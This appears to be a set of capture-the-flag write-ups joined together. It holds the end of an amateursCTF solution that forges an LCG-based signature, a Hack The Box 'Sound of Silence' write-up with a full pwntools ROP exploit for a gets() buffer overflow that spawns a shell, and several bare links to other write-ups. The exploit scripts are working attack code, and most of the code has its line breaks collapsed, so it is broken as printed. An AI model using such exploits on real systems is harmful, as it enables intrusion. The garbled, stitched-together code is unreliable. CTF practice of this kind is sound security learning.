Since we have recovered the target signature, we send it to the verify function using `Option 3`. As a recipe, we send `[[1337,0]]`. Then after the simulation is done in the verify function, the state of the 3 bowls will be:$$\underbrace{private[1337]} \ \ \underbrace{0} \ \ \underbrace{0}$$The sum of the 3 bowls will hence be, `private[1337]` which is what we need to recover the flag.
> Flag: **amateursCTF{bruh_why_would_you_use_lcg_for_signature}**
What a beautiful problem, innit?
### Solution script```pythonfrom pwn import *
class LCG: def __init__(self, a, c, p): self.a, self.c, self.p = a, c, p seed = 1337
def gen_next(self): self.seed = (self.a*self.seed + self.c) % self.p return self.seed
io = remote('amt.rs', 31310)
def add(a, b): io.recvuntil(b'finish?') io.sendline(b'add') io.recvuntil(b'bowl: ') to_send = ' '.join([str(i) for i in [a, b]]) io.sendline(to_send.encode())
def combine_bowl(a, b, op): io.recvuntil(b'finish?') io.sendline(b'combine') io.recvuntil(b'operation: ') to_send = ' '.join([str(i) for i in [a, b, op]]) io.sendline(to_send.encode())
def finish_bowl(): io.recvuntil(b'finish?') io.sendline(b'finish bowl') io.recvline() p = int(io.recvline().decode().strip().split(': ')[1]) io.recvuntil(b'Signature:') io.recvline() sign = int(io.recvline().decode().strip()) return p, sign
def finish(): io.recvuntil(b'finish?') io.sendline(b'finish') io.recvuntil(b'OPTIONS:')
io.recvuntil(b'Choice: ')io.sendline(b'1')
#recover a, padd('2', '1')add('3', '2')combine_bowl('1', '2', 'sub')add('1', '2')add('2', '3')combine_bowl('2', '3', 'sub')combine_bowl('1', '2', 'div')p, a = finish_bowl()
print(a, p)
#recover c, padd('5', '1')add('6', '2')combine_bowl('1', '2', 'sub')add('4', '2')add('5', '3')combine_bowl('2', '3', 'sub')combine_bowl('1', '2', 'div')add('4', '2')combine_bowl('2', '1', 'mult')add('5', '1')combine_bowl('1', '2', 'sub')p, c = finish_bowl()print(c, p)
finish()
lcg = LCG(a, c, p)
for i in range(1337): lcg.gen_next()
flavors = [lcg.gen_next() for i in range(1338)]sign = flavors[1337]
io.recvuntil(b'Choice: ')io.sendline(b'3')
io.recvuntil(b'NUMBER: ')io.sendline(str(p).encode())
io.recvuntil(b'RECIPE: ')io.sendline(b'[[1337,0]]')io.recvuntil(b'SIGNATURE: ')io.sendline(str(sign).encode())
io.interactive()# amateursCTF{bruh_why_would_you_use_lcg_for_signature}
'''Algortihm to recover a:-------------------------
(x2-x3)/(x1-x2)
1) mov x2 to b12) mov x3 to b23) b1 - b24) mov x1 to b25) mov x2 to b36) b2 - b37) b1 / b2
Algorithm to recover b:------------------------
x5 - x4 * a
x5 - x4 * (x5 - x6)/(x4 - x5)
1) mov x5 to b12) mov x6 to b23) b1 - b24) mov x4 to b25) mov x5 to b36) b2 - b37) b1 / b28) mov x4 to b29) b2 * b110) mov x5 to b111) b1 - b2
'''``` |
# Sound of Silence
Navigate the shadows in a dimly lit room, silently evading detection as you strategize to outsmart your foes. Employ clever distractions to divert their attention, paving the way for your daring escape!
## Writeup
This is the main function:
```cvoid main(void)
{ char buffer [32]; system("clear && echo -n \'~The Sound of Silence is mesmerising~\n\n>> \'"); gets(buffer); return;}```
The buffer is 32 byte long plus the 8 byte of **saved rbp** as **offset**.
We can use the **system** and the **gets** function of **plt** to make the binary exploitation.
The first payload will be:
```b'A' * offsetretgets_pltretsystem_plt```
The second payload will send only the **/bin/sh** string that the **gets** will write it in **rdi**:
```b'/bin0sh\00'```
Write a **0** and not a **/** because the **gets** function subtract it by **1**, so **0** is the ascii character next to **/**.
The final exploit will be:
```python#!/usr/bin/env python3# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 83.136.252.62 --port 50765 sound_of_silencefrom pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF(args.EXE or 'sound_of_silence')
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executablehost = args.HOST or '94.237.62.117'port = int(args.PORT or 41321)
def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''tbreak maincontinue'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Full RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000)# RUNPATH: b'./glibc/'
io = start()
main = exe.symbols['main']
system_plt = exe.plt['system']gets_plt = exe.plt['gets']
rop = ROP(exe)ret = rop.find_gadget(['ret'])[0]
offset = 32 + 8
payload = [ b'A' * offset, p64(ret), p64(gets_plt), p64(ret), p64(system_plt) ]
payload = b''.join(payload)
io.sendlineafter(b'>>', payload)
payload = [ b'/bin0sh\00']
payload = b''.join(payload)
io.sendlineafter(b' ', payload)
io.interactive()```
The flag is:
```bash$ iduid=100(ctf) gid=101(ctf) groups=101(ctf)$ lsflag.txtglibcsound_of_silence$ cat flag.txtHTB{n0_n33d_4_l34k5_wh3n_u_h4v3_5y5t3m}``` |
**[Misc - Stop Drop and Roll](https://medium.com/@cybersecmaverick/htb-cyber-apocalypse-ctf-2024-misc-9d3d512900b4#72f7)**
https://medium.com/@cybersecmaverick/htb-cyber-apocalypse-ctf-2024-misc-9d3d512900b4#72f7 |
**[Forensics - Pursue The Tracks](https://cybersecmaverick.medium.com/htb-cyber-apocalypse-ctf-2024-forensics-16f4c9af5c47#0952)**
https://cybersecmaverick.medium.com/htb-cyber-apocalypse-ctf-2024-forensics-16f4c9af5c47#0952 |
**[Reverse - LootStash](https://medium.com/@cybersecmaverick/htb-cyber-apocalypse-ctf-2024-reversing-d9eb85c59ca9#0624)**
https://medium.com/@cybersecmaverick/htb-cyber-apocalypse-ctf-2024-reversing-d9eb85c59ca9#0624 |
**[Reverse - BoxCutter](https://medium.com/@cybersecmaverick/htb-cyber-apocalypse-ctf-2024-reversing-d9eb85c59ca9#32f1)**
https://medium.com/@cybersecmaverick/htb-cyber-apocalypse-ctf-2024-reversing-d9eb85c59ca9#32f1 |